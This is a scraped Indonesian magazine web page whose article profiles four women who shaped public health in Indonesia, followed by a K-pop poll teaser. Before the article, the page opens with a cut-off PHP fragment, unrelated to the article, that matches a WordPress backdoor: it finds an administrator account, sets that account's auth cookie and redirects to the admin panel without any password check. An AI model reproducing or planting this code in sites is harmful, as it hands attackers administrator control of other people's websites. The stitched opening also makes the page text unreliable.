user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
4 Tokoh Wanita Indonesia di Bidang Kesehatan

20 Apr 2020

foto: pixabay

Wanita Indonesia memiliki sumbangsih tersendiri dalam meningkatkan kesehatan masyarakat, dari tenaga kesehatan hingga peneliti. Buah pikiran dan usaha beberapa wanita berikut adalah sebagian yang memberi sumbangan luas bagi masyarakat Indonesia.   

1/ Annie Senduk

Namanya mungkin tidak familiar bagi kebanyakan orang, tapi wanita yang hidup pada masa perjuangan kemerdekaan Indonesia inilah salah satu pendiri sekolah perawat pertama di Indonesia.  

2/ Sulianti Saroso 

Nama RSPI Sulianti Saroso yang belakangan menjadi tempat pertama yang digunakan sebagai rumah sakit rujukan dan perawatan intensif pasien Covid-19 di Indonesia ini diambil dari nama dokter kelahiran 1917 bernama lengkap Julie Sulianti Saroso. 

Dokter lulusan Sekolah Tinggi Kedokteran (Geneeskundige Hoge Scholl) juga aktif dalam perjuangan kemerdekaan Indonesia. Sulianti juga aktif menjadi anggota Dewan Pimpinan Konggres Wanita Indonesia (Kowani). Ia adalah penggagas Keluarga Berencana (KB) dan penggunaan kontrasepsi demi kesehatan masyarakat. Saat itu gagasannya menjadi kontroversi, namun ia terus memperjuangkan kesehatan masyarakat lewat yayasan-yayasan di tanah air, bahkan hingga ke tingkat dunia. Ia sempat terpilih sebagai anggota badan eksekutif dan Presiden Majelis Kesehatan Dunia. Setelah meninggal dunia pada tahun 1991, namanya diabadikan menjadi nama Rumah Sakit Penyakit Infeksi Prof. Dr. Sulianti Saroso. 

Advertisement
3/  Hasri Ainun Habibie

Hasri Ainun Habibie, atau yang lebih dikenal sebagai Ainun Habibie, bukan sekadar istri Presiden Indonesia Ke-3, B.J. Habibie ini. Dokter spesialis mata ini pernah menjadi Ketua Perkumpulan Penyantun Mata Tunanetra Indonesia (PPMTI) Pusat pada 2010. Beliau adalah perintis berdirinya bank mata Indonesia. Kehadiran bank mata sempat menjadi kontroversi di tanah air, tapi Ainun tak menyerah. Ia berusaha menyusun regulasi untuk donor mata serta fatwa halal bagi donor mata. 

4/ Nafsiah Mboi

Salah satu sumbangsih Dr. Nafsiah Mboi, SpA, MPH adalah upayanya dalam penanggulangan HIV dan AIDS di Indonesia. Ia juga memiliki komitmen tinggi dalam memperjuangkan kesetaraan, antidiskriminasi, dan hal asasi manusia. Ia adalah salah satu pendiri Komisi Nasional (Komnas) Perlindungan Anak Indonesia. 

Dokter Spesialis Anak dan mantan Menteri Kesehatan ini pernah menjabat Ketua Komite PBB untuk Hak-hak Anak (1997-1999), Direktur Department of Gender and Women's Health, WHO, Geneva Switzerland (1999-2002) dan Sekretaris Komisi Penanggulangan AIDS Nasional (2006). (f)



Topic

#profil

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?